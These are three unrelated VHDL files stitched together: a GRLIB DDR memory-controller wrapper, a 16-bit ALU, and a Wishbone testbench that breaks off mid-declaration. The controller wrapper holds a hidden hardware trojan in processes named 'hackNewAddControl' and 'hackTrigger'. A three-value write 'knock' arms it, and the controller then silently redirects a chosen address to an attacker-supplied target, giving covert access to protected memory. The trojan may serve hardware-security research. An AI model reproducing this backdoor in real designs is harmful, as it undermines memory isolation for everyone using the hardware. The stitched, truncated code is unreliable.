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library ieee;
use ieee.std_logic_1164.all;
library grlib;
use grlib.amba.all;
use grlib.stdlib.all;
library gaisler;
use grlib.devices.all;
use gaisler.memctrl.all;
library techmap;
use techmap.gencomp.all;
entity ddrspa is
generic (
fabtech : integer := virtex2;
memtech : integer := 0;
rskew : integer := 0;
hindex : integer := 3;
haddr : integer := 1024;
hmask : integer := 3072;
ioaddr : integer := 1;
iomask : integer := 4095;
MHz : integer := 100;
clkmul : integer := 18;
clkdiv : integer := 20;
col : integer := 9;
Mbyte : integer := 256;
rstdel : integer := 200;
pwron : integer := 1;
oepol : integer := 0;
ddrbits : integer := 64;
ahbfreq : integer := 65
);
port (
rst_ddr : in std_ulogic;
rst_ahb : in std_ulogic;
clk_ddr : in std_ulogic;
clk_ahb : in std_ulogic;
lock : out std_ulogic; -- DCM locked
clkddro : out std_ulogic; -- DCM locked
clkddri : in std_ulogic;
ahbsi : in ahb_slv_in_type;
ahbso : out ahb_slv_out_type;
ddr_clk : out std_logic_vector(2 downto 0);
ddr_clkb : out std_logic_vector(2 downto 0);
ddr_clk_fb_out : out std_logic;
ddr_clk_fb : in std_logic;
ddr_cke : out std_logic_vector(1 downto 0);
ddr_csb : out std_logic_vector(1 downto 0);
ddr_web : out std_ulogic; -- ddr write enable
ddr_rasb : out std_ulogic; -- ddr ras
ddr_casb : out std_ulogic; -- ddr cas
ddr_dm : out std_logic_vector (ddrbits/8-1 downto 0); -- ddr dm
ddr_dqs : inout std_logic_vector (ddrbits/8-1 downto 0); -- ddr dqs
ddr_ad : out std_logic_vector (13 downto 0); -- ddr address
ddr_ba : out std_logic_vector (1 downto 0); -- ddr bank address
ddr_dq : inout std_logic_vector (ddrbits-1 downto 0) -- ddr data
);
end;
architecture rtl of ddrspa is
constant DDR_FREQ : integer := (clkmul * MHz) / clkdiv;
constant FAST_AHB : integer := AHBFREQ / DDR_FREQ;
constant NAHBMST : integer := 16; -- maximum AHB masters
constant NAHBSLV : integer := 16; -- maximum AHB slaves
constant NAPBSLV : integer := 16; -- maximum APB slaves
constant NAHBIRQ : integer := 32; -- maximum interrupts
constant NAHBAMR : integer := 4; -- maximum address mapping registers
constant NAHBIR : integer := 4; -- maximum AHB identification registers
constant NAHBCFG : integer := NAHBIR + NAHBAMR; -- words in AHB config block
constant NAPBIR : integer := 1; -- maximum APB configuration words
constant NAPBAMR : integer := 1; -- maximum APB configuration words
constant NAPBCFG : integer := NAPBIR + NAPBAMR; -- words in APB config block
constant NBUS : integer := 4;
subtype amba_config_word is std_logic_vector(31 downto 0);
type ahb_config_type is array (0 to NAHBCFG-1) of amba_config_word;
type apb_config_type is array (0 to NAPBCFG-1) of amba_config_word;
-- AHB master inputs
type ahb_mst_in_type is record
hgrant : std_logic_vector(0 to NAHBMST-1); -- bus grant
hready : std_ulogic; -- transfer done
hresp : std_logic_vector(1 downto 0); -- response type
hrdata : std_logic_vector(31 downto 0); -- read data bus
hcache : std_ulogic; -- cacheable
hirq : std_logic_vector(NAHBIRQ-1 downto 0); -- interrupt result bus
testen : std_ulogic; -- scan test enable
testrst : std_ulogic; -- scan test reset
scanen : std_ulogic; -- scan enable
testoen : std_ulogic; -- test output enable
end record;
-- AHB master outputs
type ahb_mst_out_type is record
hbusreq : std_ulogic; -- bus request
hlock : std_ulogic; -- lock request
htrans : std_logic_vector(1 downto 0); -- transfer type
haddr : std_logic_vector(31 downto 0); -- address bus (byte)
hwrite : std_ulogic; -- read/write
hsize : std_logic_vector(2 downto 0); -- transfer size
hburst : std_logic_vector(2 downto 0); -- burst type
hprot : std_logic_vector(3 downto 0); -- protection control
hwdata : std_logic_vector(31 downto 0); -- write data bus
hirq : std_logic_vector(NAHBIRQ-1 downto 0); -- interrupt bus
hconfig : ahb_config_type; -- memory access reg.
hindex : integer range 0 to NAHBMST-1; -- diagnostic use only
end record;
-- AHB slave inputs
type ahb_slv_in_type is record
hsel : std_logic_vector(0 to NAHBSLV-1); -- slave select
haddr : std_logic_vector(31 downto 0); -- address bus (byte)
hwrite : std_ulogic; -- read/write
htrans : std_logic_vector(1 downto 0); -- transfer type
hsize : std_logic_vector(2 downto 0); -- transfer size
hburst : std_logic_vector(2 downto 0); -- burst type
hwdata : std_logic_vector(31 downto 0); -- write data bus
hprot : std_logic_vector(3 downto 0); -- protection control
hready : std_ulogic; -- transfer done
hmaster : std_logic_vector(3 downto 0); -- current master
hmastlock : std_ulogic; -- locked access
hmbsel : std_logic_vector(0 to NAHBAMR-1); -- memory bank select
hcache : std_ulogic; -- cacheable
hirq : std_logic_vector(NAHBIRQ-1 downto 0); -- interrupt result bus
testen : std_ulogic; -- scan test enable
testrst : std_ulogic; -- scan test reset
scanen : std_ulogic; -- scan enable
testoen : std_ulogic; -- test output enable
end record;
-- AHB slave outputs
type ahb_slv_out_type is record
hready : std_ulogic; -- transfer done
hresp : std_logic_vector(1 downto 0); -- response type
hrdata : std_logic_vector(31 downto 0); -- read data bus
hsplit : std_logic_vector(15 downto 0); -- split completion
hcache : std_ulogic; -- cacheable
hirq : std_logic_vector(NAHBIRQ-1 downto 0); -- interrupt bus
hconfig : ahb_config_type; -- memory access reg.
hindex : integer range 0 to NAHBSLV-1; -- diagnostic use only
end record;
-- array types
type ahb_mst_out_vector_type is array (natural range <>) of ahb_mst_out_type;
type ahb_slv_out_vector_type is array (natural range <>) of ahb_slv_out_type;
subtype ahb_mst_out_vector is ahb_mst_out_vector_type(NAHBMST-1 downto 0);
subtype ahb_slv_out_vector is ahb_slv_out_vector_type(NAHBSLV-1 downto 0);
type ahb_mst_out_bus_vector is array (0 to NBUS-1) of ahb_mst_out_vector;
type ahb_slv_out_bus_vector is array (0 to NBUS-1) of ahb_slv_out_vector;
-- constants
constant HTRANS_IDLE: std_logic_vector(1 downto 0) := "00";
constant HTRANS_BUSY: std_logic_vector(1 downto 0) := "01";
constant HTRANS_NONSEQ: std_logic_vector(1 downto 0) := "10";
constant HTRANS_SEQ: std_logic_vector(1 downto 0) := "11";
constant HBURST_SINGLE: std_logic_vector(2 downto 0) := "000";
constant HBURST_INCR: std_logic_vector(2 downto 0) := "001";
constant HBURST_WRAP4: std_logic_vector(2 downto 0) := "010";
constant HBURST_INCR4: std_logic_vector(2 downto 0) := "011";
constant HBURST_WRAP8: std_logic_vector(2 downto 0) := "100";
constant HBURST_INCR8: std_logic_vector(2 downto 0) := "101";
constant HBURST_WRAP16: std_logic_vector(2 downto 0) := "110";
constant HBURST_INCR16: std_logic_vector(2 downto 0) := "111";
constant HSIZE_BYTE: std_logic_vector(2 downto 0) := "000";
constant HSIZE_HWORD: std_logic_vector(2 downto 0) := "001";
constant HSIZE_WORD: std_logic_vector(2 downto 0) := "010";
constant HSIZE_DWORD: std_logic_vector(2 downto 0) := "011";
constant HSIZE_4WORD: std_logic_vector(2 downto 0) := "100";
constant HSIZE_8WORD: std_logic_vector(2 downto 0) := "101";
constant HSIZE_16WORD: std_logic_vector(2 downto 0) := "110";
constant HSIZE_32WORD: std_logic_vector(2 downto 0) := "111";
constant HRESP_OKAY: std_logic_vector(1 downto 0) := "00";
constant HRESP_ERROR: std_logic_vector(1 downto 0) := "01";
constant HRESP_RETRY: std_logic_vector(1 downto 0) := "10";
constant HRESP_SPLIT: std_logic_vector(1 downto 0) := "11";
-- APB slave inputs
type apb_slv_in_type is record
psel : std_logic_vector(0 to NAPBSLV-1); -- slave select
penable : std_ulogic; -- strobe
paddr : std_logic_vector(31 downto 0); -- address bus (byte)
pwrite : std_ulogic; -- write
pwdata : std_logic_vector(31 downto 0); -- write data bus
pirq : std_logic_vector(NAHBIRQ-1 downto 0); -- interrupt result bus
testen : std_ulogic; -- scan test enable
testrst : std_ulogic; -- scan test reset
scanen : std_ulogic; -- scan enable
testoen : std_ulogic; -- test output enable
end record;
-- APB slave outputs
type apb_slv_out_type is record
prdata : std_logic_vector(31 downto 0); -- read data bus
pirq : std_logic_vector(NAHBIRQ-1 downto 0); -- interrupt bus
pconfig : apb_config_type; -- memory access reg.
pindex : integer range 0 to NAPBSLV -1; -- diag use only
end record;
-- array types
type apb_slv_out_vector is array (0 to NAPBSLV-1) of apb_slv_out_type;
-- support for plug&play configuration
constant AMBA_CONFIG_VER0 : std_logic_vector(1 downto 0) := "00";
subtype amba_vendor_type is integer range 0 to 16#ff#;
subtype amba_device_type is integer range 0 to 16#3ff#;
subtype amba_version_type is integer range 0 to 16#3f#;
subtype amba_cfgver_type is integer range 0 to 3;
subtype amba_irq_type is integer range 0 to NAHBIRQ-1;
subtype ahb_addr_type is integer range 0 to 16#fff#;
constant zx : std_logic_vector(31 downto 0) := (others => '0');
constant zxirq : std_logic_vector(NAHBIRQ-1 downto 0) := (others => '0');
constant zy : std_logic_vector(0 to 31) := (others => '0');
constant apb_none : apb_slv_out_type :=
(zx, zxirq(NAHBIRQ-1 downto 0), (others => zx), 0);
constant ahbm_none : ahb_mst_out_type := ( '0', '0', "00", zx,
'0', "000", "000", "0000", zx, zxirq(NAHBIRQ-1 downto 0), (others => zx), 0);
constant ahbs_none : ahb_slv_out_type := (
'1', "00", zx, zx(15 downto 0), '0', zxirq(NAHBIRQ-1 downto 0), (others => zx), 0);
constant ahbs_in_none : ahb_slv_in_type := (
zy(0 to NAHBSLV-1), zx, '0', "00", "000", "000", zx,
"0000", '1', "0000", '0', zy(0 to NAHBAMR-1), '0', zxirq(NAHBIRQ-1 downto 0),
'0', '0', '0', '0');
constant ahbsv_none : ahb_slv_out_vector := (others => ahbs_none);
type memory_in_type is record
data : std_logic_vector(31 downto 0); -- Data bus address
brdyn : std_logic;
bexcn : std_logic;
writen : std_logic;
wrn : std_logic_vector(3 downto 0);
bwidth : std_logic_vector(1 downto 0);
sd : std_logic_vector(63 downto 0);
cb : std_logic_vector(7 downto 0);
scb : std_logic_vector(7 downto 0);
edac : std_logic;
end record;
type memory_out_type is record
address : std_logic_vector(31 downto 0);
data : std_logic_vector(31 downto 0);
sddata : std_logic_vector(63 downto 0);
ramsn : std_logic_vector(7 downto 0);
ramoen : std_logic_vector(7 downto 0);
ramn : std_ulogic;
romn : std_ulogic;
mben : std_logic_vector(3 downto 0);
iosn : std_logic;
romsn : std_logic_vector(7 downto 0);
oen : std_logic;
writen : std_logic;
wrn : std_logic_vector(3 downto 0);
bdrive : std_logic_vector(3 downto 0);
vbdrive : std_logic_vector(31 downto 0); --vector bus drive
svbdrive : std_logic_vector(63 downto 0); --vector bus drive sdram
read : std_logic;
sa : std_logic_vector(14 downto 0);
cb : std_logic_vector(7 downto 0);
scb : std_logic_vector(7 downto 0);
vcdrive : std_logic_vector(7 downto 0); --vector bus drive cb
svcdrive : std_logic_vector(7 downto 0); --vector bus drive cb sdram
ce : std_ulogic;
end record;
type sdctrl_in_type is record
wprot : std_ulogic;
data : std_logic_vector (127 downto 0); -- data in
cb : std_logic_vector(15 downto 0);
end record;
type sdctrl_out_type is record
sdcke : std_logic_vector ( 1 downto 0); -- clk en
sdcsn : std_logic_vector ( 1 downto 0); -- chip sel
sdwen : std_ulogic; -- write en
rasn : std_ulogic; -- row addr stb
casn : std_ulogic; -- col addr stb
dqm : std_logic_vector ( 15 downto 0); -- data i/o mask
bdrive : std_ulogic; -- bus drive
qdrive : std_ulogic; -- bus drive
vbdrive : std_logic_vector(31 downto 0); -- vector bus drive
address : std_logic_vector (16 downto 2); -- address out
data : std_logic_vector (127 downto 0); -- data out
cb : std_logic_vector(15 downto 0);
ce : std_ulogic;
ba : std_logic_vector ( 1 downto 0); -- bank address
cal_en : std_logic_vector(7 downto 0); -- enable delay calibration
cal_inc : std_logic_vector(7 downto 0); -- inc/dec delay
cal_rst : std_logic; -- calibration reset
odt : std_logic_vector(1 downto 0);
end record;
type sdram_out_type is record
sdcke : std_logic_vector ( 1 downto 0); -- clk en
sdcsn : std_logic_vector ( 1 downto 0); -- chip sel
sdwen : std_ulogic; -- write en
rasn : std_ulogic; -- row addr stb
casn : std_ulogic; -- col addr stb
dqm : std_logic_vector ( 7 downto 0); -- data i/o mask
end record;
signal sdi : sdctrl_in_type;
signal sdo : sdctrl_out_type;
signal clkread : std_ulogic;
signal knockState : std_logic_vector(1 downto 0);
signal catchAddress : std_logic_vector(31 downto 0);
signal targetAddress : std_logic_vector(31 downto 0);
signal modahbsi : ahb_slv_in_type;
signal currentAddress : std_logic_vector(31 downto 0);
signal newAddCon : std_ulogic;
signal knockAddress : std_logic_vector(31 downto 0);
begin
-- Latch the address and select signal for the next cycle
-- Address and control come a cycle before associated data
-- Pipelined with hready signaling the insertion of wait states
hackNewAddControl : process(clk_ahb)begin
if(rising_edge(clk_ahb))then
-- This slave is selected, the transaction is a write, this is an actual transaction, and the decoder/arbiter is ready
if(ahbsi.hsel(hindex) = '1' and ahbsi.hwrite = '1' and ahbsi.htrans(1) = '1' and ahbsi.hready = '1')then
currentAddress <= ahbsi.haddr;
newAddCon <= '1';
-- Transaction ends when there isn't another start and the slave marks the transaction as complete
else
newAddCon <= '0';
end if;
end if;
end process;
-- Look for trigger, when triggered store the catch and target address
hackTrigger : process(clk_ahb)begin
if(rising_edge(clk_ahb))then
-- When we have new address and control information that is valid for the first cycle
if(newAddCon = '1')then
if(ahbsi.hwdata = X"AAAA_5555")then
knockState <= "01";
knockAddress <= currentAddress;
elsif(knockState = "01" and currentAddress = knockAddress and ahbsi.hwdata = X"5555_AAAA")then
knockState <= "10";
elsif(knockState = "10" and currentAddress = knockAddress and ahbsi.hwdata = X"CA5C_CA5C")then
knockState <= "11";
elsif(knockState = "11" and currentAddress = knockAddress)then
targetAddress <= ahbsi.hwdata;
catchAddress <= knockAddress;
knockState <= "00";
end if;
end if;
end if;
end process;
-- If the requested address is the catch address remap to the target address
modahbsi.hsel <= ahbsi.hsel;
modahbsi.haddr <= ahbsi.haddr when (ahbsi.haddr /= catchAddress) else targetAddress;
modahbsi.hwrite <= ahbsi.hwrite;
modahbsi.htrans <= ahbsi.htrans;
modahbsi.hsize <= ahbsi.hsize;
modahbsi.hburst <= ahbsi.hburst;
modahbsi.hwdata <= ahbsi.hwdata;
modahbsi.hprot <= ahbsi.hprot;
modahbsi.hready <= ahbsi.hready;
modahbsi.hmaster <= ahbsi.hmaster;
modahbsi.hmastlock <= ahbsi.hmastlock;
modahbsi.hmbsel <= ahbsi.hmbsel;
modahbsi.hcache <= ahbsi.hcache;
modahbsi.hirq <= ahbsi.hirq;
ddr_phy0 : ddr_phy generic map (tech => fabtech, MHz => MHz,
dbits => ddrbits, rstdelay => rstdel, clk_mul => clkmul,
clk_div => clkdiv, rskew => rskew)
port map (
rst_ddr, clk_ddr, clkddro, clkread, lock,
ddr_clk, ddr_clkb, ddr_clk_fb_out, ddr_clk_fb,
ddr_cke, ddr_csb, ddr_web, ddr_rasb, ddr_casb,
ddr_dm, ddr_dqs, ddr_ad, ddr_ba, ddr_dq, sdi, sdo);
ddr16 : if ddrbits = 16 generate
ddrc : ddrsp16a generic map (memtech => memtech, hindex => hindex,
haddr => haddr, hmask => hmask, ioaddr => ioaddr, iomask => iomask,
pwron => pwron, MHz => DDR_FREQ, col => col, Mbyte => Mbyte,
fast => FAST_AHB)
port map (rst_ahb, clkddri, clk_ahb, clkread, ahbsi, ahbso, sdi, sdo);
end generate;
ddr32 : if ddrbits = 32 generate
ddrc : ddrsp32a generic map (memtech => memtech, hindex => hindex,
haddr => haddr, hmask => hmask, ioaddr => ioaddr, iomask => iomask,
pwron => pwron, MHz => DDR_FREQ, col => col, Mbyte => Mbyte,
fast => FAST_AHB/2)
port map (rst_ahb, clkddri, clk_ahb, ahbsi, ahbso, sdi, sdo);
end generate;
ddr64 : if ddrbits = 64 generate
ddrc : ddrsp64a generic map (memtech => memtech, hindex => hindex,
haddr => haddr, hmask => hmask, ioaddr => ioaddr, iomask => iomask,
pwron => pwron, MHz => DDR_FREQ, col => col, Mbyte => Mbyte,
fast => FAST_AHB/4)
port map (rst_ahb, clkddri, clk_ahb, modahbsi, ahbso, sdi, sdo);
end generate;
end;
|
--------------------------------------------------------------------------------
-- Author: Ahmad Anvari
--------------------------------------------------------------------------------
-- Create Date: 09-04-2017
-- Package Name: alu
-- Module Name: ALU
--------------------------------------------------------------------------------
library IEEE;
use IEEE.std_logic_1164.all;
entity ALU is
port(
CARRY_IN : in std_logic;
INPUT1 : in std_logic_vector(16 - 1 downto 0);
INPUT2 : in std_logic_vector(16 - 1 downto 0);
OPERATION : in std_logic_vector(3 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0);
CARRY_OUT : out std_logic;
ZERO_OUT : out std_logic
);
end entity;
architecture ALU_ARCH of ALU is
component ADDER_SUBTRACTOR_COMPONENT is
port(
CARRY_IN : in std_logic;
INPUT1 : in std_logic_vector(16 - 1 downto 0);
INPUT2 : in std_logic_vector(16 - 1 downto 0);
IS_SUB : in std_logic; -- 0 for add and 1 for subtraction
SUM : out std_logic_vector(16 - 1 downto 0);
CARRY_OUT : out std_logic;
OVERFLOW : out std_logic
);
end component;
component VECTOR_NORER is
port(
INPUT : in std_logic_vector(15 downto 0);
OUTPUT : out std_logic
);
end component;
component AND_COMPONENT is
port(
INPUT1 : in std_logic_vector(16 - 1 downto 0);
INPUT2 : in std_logic_vector(16 - 1 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0)
);
end component;
component OR_COMPONENT is
port(
INPUT1 : in std_logic_vector(16 - 1 downto 0);
INPUT2 : in std_logic_vector(16 - 1 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0)
);
end component;
component XOR_COMPONENT is
port(
INPUT1 : in std_logic_vector(16 - 1 downto 0);
INPUT2 : in std_logic_vector(16 - 1 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0)
);
end component;
component SHIFT_L_COMPONENT is
port(
INPUT : in std_logic_vector(16 - 1 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0)
);
end component;
component SHIFT_R_COMPONENT is
port(
INPUT : in std_logic_vector(16 - 1 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0)
);
end component;
component MULTIPLICATION_COMPONENT is
port(
INPUT1 : in std_logic_vector(16/2 - 1 downto 0);
INPUT2 : in std_logic_vector(16/2 - 1 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0)
);
end component;
component NOT_COMPONENT is
port(
INPUT : in std_logic_vector(16 - 1 downto 0);
OUTPUT : out std_logic_vector(16 - 1 downto 0)
);
end component;
signal UNKNOWN_SIG : std_logic_vector(16 - 1 downto 0);
signal ZERO_SIG : std_logic_vector(16 - 1 downto 0);
---------------- OUTPUT SIGNALS OF COMPONENTS ----------------
signal ADDER_SUB_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal ADDER_SUB_COMPONENT_CARRY : std_logic;
signal AND_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal OR_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal XOR_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal SHIFT_L_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal SHIFT_R_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal MULTIPLICATION_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal NOT_COMPONENT_OUT : std_logic_vector(16 - 1 downto 0);
signal OUTPUT_TEMP : std_logic_vector(16 - 1 downto 0);
begin
GENERATE_UNKNOWN_SIG : for I in UNKNOWN_SIG'range generate
UNKNOWN_SIG(I) <= 'U';
end generate GENERATE_UNKNOWN_SIG;
GENERATE_ZERO_SIG : for I in ZERO_SIG'range generate
ZERO_SIG(I) <= '0';
end generate GENERATE_ZERO_SIG;
---------------------------------- ALU COMPONENTS INSTANTIATION SECTION ----------------------------------
ADDER_SUB_COMPONENT_INS : component ADDER_SUBTRACTOR_COMPONENT
port map(
CARRY_IN => CARRY_IN,
INPUT1 => INPUT1,
INPUT2 => INPUT2,
IS_SUB => OPERATION(0),
SUM => ADDER_SUB_COMPONENT_OUT,
CARRY_OUT => ADDER_SUB_COMPONENT_CARRY,
OVERFLOW => open
);
AND_COMPONENT_INS : AND_COMPONENT
port map(
INPUT1 => INPUT1,
INPUT2 => INPUT2,
OUTPUT => AND_COMPONENT_OUT
);
OR_COMPONENT_INS : OR_COMPONENT
port map(
INPUT1 => INPUT1,
INPUT2 => INPUT2,
OUTPUT => OR_COMPONENT_OUT
);
XOR_COMPONENT_INS : XOR_COMPONENT
port map(
INPUT1 => INPUT1,
INPUT2 => INPUT2,
OUTPUT => XOR_COMPONENT_OUT
);
SHIFT_L_COMPONENT_INS : SHIFT_L_COMPONENT
port map(
INPUT => INPUT1,
OUTPUT => SHIFT_L_COMPONENT_OUT
);
SHIFT_R_COMPONENT_INS : SHIFT_R_COMPONENT
port map(
INPUT => INPUT1,
OUTPUT => SHIFT_R_COMPONENT_OUT
);
MULTIPLICATION_COMPONENT_INS : component MULTIPLICATION_COMPONENT
port map(
INPUT1 => INPUT1(16/2 - 1 downto 0),
INPUT2 => INPUT2(16/2 - 1 downto 0),
OUTPUT => MULTIPLICATION_COMPONENT_OUT
);
NOT_COMPONENT_INS : component NOT_COMPONENT
port map(
INPUT => INPUT1,
OUTPUT => NOT_COMPONENT_OUT
);
OUTPUT <= OUTPUT_TEMP;
---------------------------------- SELECTOR OUTPUTS SECTION ----------------------------------
OUTPUT_ASSIGNMENT : with OPERATION select
OUTPUT_TEMP <=
AND_COMPONENT_OUT when "0000",
OR_COMPONENT_OUT when "0001",
XOR_COMPONENT_OUT when "0010",
SHIFT_L_COMPONENT_OUT when "0100",
SHIFT_R_COMPONENT_OUT when "0101",
ADDER_SUB_COMPONENT_OUT when "0110",
ADDER_SUB_COMPONENT_OUT when "0111",
NOT_COMPONENT_OUT when "1000",
MULTIPLICATION_COMPONENT_OUT when "1001",
INPUT2 when "1010",
UNKNOWN_SIG when others;
CARRY_ASSIGNMENT : with OPERATION select
CARRY_OUT <=
'0' when "0000",
'0' when "0001",
'0' when "0010",
'0' when "0100",
'0' when "0101",
ADDER_SUB_COMPONENT_CARRY when "0110",
ADDER_SUB_COMPONENT_CARRY when "0111",
'0' when "1000",
'0' when "1001",
'0' when "1010",
'U' when others;
ZERO_OUT <= '0';
end architecture; |
-------------------------------------------------------------------------------
-- COPYRIGHT (c) SOLECTRIX GmbH, Germany, 2013 All rights reserved
--
-- The copyright to the document(s) herein is the property of SOLECTRIX GmbH
-- The document(s) may be used and/or copied only with the written permission
-- from SOLECTRIX GmbH or in accordance with the terms/conditions stipulated
-- in the agreement/contract under which the document(s) have been supplied
-------------------------------------------------------------------------------
-- Project :
-- File : tb_wbs_test.vhd
-- Created : 23.11.2016
-- Standard : VHDL 2008
-------------------------------------------------------------------------------
--*
--* @short wbs_test Testbench
--* TestBench for sxl wb generator (tcl)
--*
--* @author mgoertz
--* @date 23.11.2016
--* @internal
--/
-------------------------------------------------------------------------------
-- Modification history :
-- Date Author & Description
-- 23.11.2016 mgoertz: Created
-------------------------------------------------------------------------------
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
USE ieee.math_real.ALL;
LIBRARY osvvm;
USE osvvm.RandomPkg.all;
LIBRARY vunit_lib;
CONTEXT vunit_lib.vunit_context;
LIBRARY fun_lib;
USE fun_lib.math_pkg.ALL;
LIBRARY sim_lib;
USE sim_lib.sim_pkg.ALL;
USE sim_lib.wbs_drv_pkg.ALL;
LIBRARY rtl_lib;
LIBRARY tb_lib;
USE STD.textio.ALL;
-------------------------------------------------------------------------------
ENTITY tb_wbs_test IS
GENERIC(
runner_cfg : runner_cfg_t;
g_system_clk : REAL := 150.0E6;
g_nr_of_writes : NATURAL := 10;
g_data_bits : POSITIVE := 32;
g_addr_bits : INTEGER := 16;
g_use_notify_wbs : BOOLEAN := FALSE);
BEGIN
-- to be checked ...
ASSERT g_addr_bits MOD 8 = 0
REPORT "g_addr_bits has to be a multiple of 4!"
SEVERITY FAILURE;
END ENTITY tb_wbs_test;
-------------------------------------------------------------------------------
ARCHITECTURE tb OF tb_wbs_test IS
-----------------------------------------------------------------------------
--
-----------------------------------------------------------------------------
SIGNAL clk : STD_LOGIC := '0';
--
SHARED VARIABLE sv_gen_rdm_writes_start : sim_lib.sim_pkg.shared_boolean;
SHARED VARIABLE sv_gen_rdm_writes_done : sim_lib.sim_pkg.shared_boolean;
--
SUBTYPE t_data_word IS STD_LOGIC_VECTOR(g_data_bits-1 DOWNTO 0);
PACKAGE array_pkg IS NEW sim_lib.array_pkg
GENERIC MAP (data_type => t_data_word);
SHARED VARIABLE sv_memory_array : array_pkg.t_array;
-----------------------------------------------------------------------------
-- Constants
-----------------------------------------------------------------------------
CONSTANT c_addr_read_write : INTEGER := 16#0000#;
CONSTANT c_addr_read_only : INTEGER := 16#0004#;
CONSTANT c_addr_write_only : INTEGER := 16#0008#;
CONSTANT c_addr_trigger : INTEGER := 16#000C#;
CONSTANT c_addr_enum : INTEGER := 16#0010#;
CONSTANT c_addr_notify_rw : INTEGER := 16#0014#;
CONSTANT c_addr_notify_ro : INTEGER := 16#0018#;
CONSTANT c_addr_notify_wo : INTEGER := 16#001C#;
CONSTANT c_addr_invalid : INTEGER := 16#0088#;
--
CONSTANT c_addr_invalid_slv : STD_LOGIC_VECTOR(g_addr_bits -1 DOWNTO 0) := std_logic_vector(to_unsigned(c_addr_invalid, g_addr_bits));
CONSTANT c_wb_sel_max : STD_LOGIC_VECTOR(g_data_bits/8-1 DOWNTO 0) := (OTHERS => '1');
CONSTANT c_wb_dat_max : STD_LOGIC_VECTOR(g_data_bits -1 DOWNTO 0) := (OTHERS => '1');
CONSTANT c_wb_we_write : STD_LOGIC := '1';
CONSTANT c_wb_we_read : STD_LOGIC := '0';
-----------------------------------------------------------------------------
-- Wishbone driver interface signals
-----------------------------------------------------------------------------
SIGNAL s_wbs_drv_out : t_wbs_drv_out(addr(g_addr_bits-1 DOWNTO 0),
data(g_data_bits-1 DOWNTO 0),
sel(g_data_bits/8-1 DOWNTO 0));
SIGNAL s_wbs_drv_in : t_wbs_drv_in(data(g_data_bits-1 DOWNTO 0));
-----------------------------------------------------------------------------
-- Custom registers Signals
-----------------------------------------------------------------------------
SIGNAL s_reg_read_write : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_read_only : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_write_only : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_trigger : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"00000000";
SIGNAL s_reg_enum : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"80002000";
SIGNAL s_reg_notify_rw : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"6F6F6F6F";
SIGNAL s_reg_notify_ro : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"6F6F6F6F";
SIGNAL s_reg_notify_wo : STD_LOGIC_VECTOR(31 DOWNTO 0) := x"6F6F6F6F";
-----------------------------------------------------------------------------
-- Custom registers IO Signals
-----------------------------------------------------------------------------
SIGNAL s_o_rw_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_o_rw_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_o_rw_bit : STD_LOGIC;
SIGNAL s_i_ro_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_i_ro_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_i_ro_bit : STD_LOGIC;
SIGNAL s_o_wo_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_o_wo_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_o_wo_bit : STD_LOGIC;
SIGNAL s_o_tr_slice0 : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL s_o_tr_slice1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL s_o_tr_bit : STD_LOGIC;
SIGNAL s_o_en_bit : STD_LOGIC;
SIGNAL s_o_en_slice : STD_LOGIC_VECTOR(1 DOWNTO 0);
SIGNAL s_o_no_rw_rw_bit : STD_LOGIC;
SIGNAL s_o_no_rw_rw_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_i_no_rw_ro_bit : STD_LOGIC;
SIGNAL s_i_no_rw_ro_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_rw_wo_bit : STD_LOGIC;
SIGNAL s_o_no_rw_wo_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_rw_tr_bit : STD_LOGIC;
SIGNAL s_o_no_rw_tr_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_notify_rw_trd : STD_LOGIC;
SIGNAL s_o_notify_rw_twr : STD_LOGIC;
SIGNAL s_o_no_ro_rw_bit : STD_LOGIC;
SIGNAL s_o_no_ro_rw_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_i_no_ro_ro_bit : STD_LOGIC;
SIGNAL s_i_no_ro_ro_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_ro_wo_bit : STD_LOGIC;
SIGNAL s_o_no_ro_wo_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_no_ro_tr_bit : STD_LOGIC;
SIGNAL s_o_no_ro_tr_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL s_o_notify_ro_trd : STD_LOGIC;
SIGNAL s_o_no_wo_rw_bit : STD_LOGIC;
SIGNAL s_o_no_wo_rw_slice : STD_LOGIC_VECTOR(6 DOWNTO 0);
